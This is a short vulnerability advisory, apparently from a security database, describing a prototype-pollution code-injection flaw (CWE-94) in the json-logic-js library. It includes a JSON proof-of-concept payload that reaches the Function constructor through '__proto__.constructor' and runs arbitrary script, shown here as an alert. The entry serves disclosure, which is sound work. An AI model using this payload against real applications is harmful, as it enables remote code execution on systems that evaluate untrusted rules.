#VU46701 Prototype pollution in json-logic-js

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Main Vulnerability Database Vulnerabilities #VU46701

#VU46701 Prototype pollution in json-logic-js

Published: September 14, 2020 / Updated: September 15, 2020


Vulnerability identifier: #VU46701
Vulnerability risk: Medium
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/U:Green
CVE-ID: N/A
CWE-ID: CWE-94
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vulnerable software:
json-logic-js
Software vendor:
Nicehop

Description

The disclosed vulnerability allows a remote attacker to perform code inection attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.

Example:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is."
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}


Remediation

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

External links